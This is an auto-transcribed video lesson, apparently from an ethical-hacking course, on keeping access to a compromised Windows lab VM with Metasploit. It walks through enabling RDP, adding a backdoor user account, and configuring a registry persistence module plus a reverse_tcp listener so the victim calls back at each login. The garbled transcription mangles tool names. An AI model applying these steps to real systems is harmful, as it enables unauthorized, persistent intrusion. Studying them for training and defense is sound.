In this video you'll learn how to use interpreter to implement persistence on a
compromised system. I hope you're excited.
So let's dive on in Implementing persistence is a common
technique as used by ethical hackers and penetration testers after they have
gained remote access onto a vulnerable system.
With persistence,
it simply allows the ethical hacker to always be able to access
the remote system whenever the system is online or logged in.
In this video we'll take a look at setting up two methods of persistence,
one of which is we can tune on the remote desktop protocol on a Windows
compromise system. For instance, if I type sis in info,
we can see it is a Windows based system that is compromised specifically this
Windows V system.
It is the meta exploitable tree windows virtual machine.
Let's imagine that R DP remote desktop protocol is not enable well,
we can simply enable it using interpreter. To do this,
you definitely need a ER shell as you can see.
And now we'll type run post
slash windows slash manage slash enable
underscore rdp and interpreter will check to see if
the remote desktop call is enable or not and simply turn it on.
Next we can create our very own local user account on
the target system. To do this,
let's type shell so we can get a Windows command prompt.
Let's type,
who am I to verify the user account that we are currently logged in with?
So right now we are using the system account,
therefore we can type net user and let's call this user
pen tester as a username.
And let's set a password as password 1 23 slash add.
This will simply allow us to create a user account on the target system.
The purpose of this account is to simply allow us to log in using a
valid user credential greet. Let's type exit.
Another technique to set up a systems is to simply use one of the persistence
exploit module within Metasploit.
The purpose system module will simply automatically configure the
registry within the victim system. Therefore,
whenever the victim system reboots it automatically establish a reverse shell
back to our Carli Lennox Switch machine. To do this,
let's verify that we are connected to a window system.
We can simply type for like so and we can see that we are connected to
our meta exploitable tree windows virtual machine.
Let's type background to send this session to the background.
As you can see, it is given session ID one. Great,
let's type back and now let's type use
exploit windows local persistence like
so and hit enter.
We'll configure session ID one for this module
and we'll set the startup type to use the system account
like so. Great. Next,
let's set the local i p address of our Carly Lenox switch machine
as a callback machine. So our Carly Lux switch machine,
it is using 1 7 2 3 1 41
and we'll use a different local port.
So we'll say set port like so,
and we'll use ports 1, 2, 3, 4,
simply type exploit and hit enter.
This will send across this new payload and automatically make the modifications
on the victim systems registry. Great.
Let's type back and the last thing we need to do is set up our
listener to create our listener.
We'll type use exploit multi handler
like so we'll set our payload to be set payload win
windows interpreter slash reverse
underscore tcp. Then we'll set our auto on script.
We'll see set auto on script like so.
We'll type post slash windows slash
manage slash migrate.
Hit enter.
Then we'll set our Carly Lennox IP address. Once more,
we'll see set L Host.
And my Carly Lennox virtual machine has an IP address of
1 72, 31 41.
And we also need to set the listening port.
As you recall the listening port, we are using 1, 2, 3, 4.
Simply hit exploit. To start a listener create,
I'm simply going to reboot this victim machine like so.
I'm going to log in with the administrator account and simply choose to reboot
option.
The system actually executed a malicious script and look,
we actually got another material session.
So this time I am going to
exit the ER session.
So currently session one is closed and I'm going to access
session one and I'm going to exit a session as well.
So I have exited session two and I've also
exited session one. So if I type sessions, there's no sessions.
So let's try this out again. I'm gonna type exploit
to start the listener once more and it is sending it again.
So what I will do is I'll simply type exit
the victim machine. I'm gonna power down this machine.
Great. So now the victim machines power down. Let's try this one more time.
So I'm gonna type exploit to start a listener. The listener is running.
Then on virtual box, I'm going to power on the target system,
which is meta, exploitable tree, windows, vm.
I'm gonna click on start like so.
And as we can see, the target system is booting.
Now let's assume an unsuspecting user simple logs in
to their computer like Sue.
And notice that when the user logs in the script automatically executes
and we have gotten a review
notice, it has sent across the payload.
We have gotten a new session and it has migrated a session
to EV detection.
If I type two,
we have gained access back into our target system.
So therefore, as long as the system is rebooted and someone logs in,
we'll always be able to capture the session as long as our multi handler is
running. During the course of this video,
you have learned how to implement persistence using interpreter on a compromised
system. In the next video,
you'll learn how to use netcat to set up persistence on a victim
system. I hope this video has been informative for you.
I'll see you in the next one.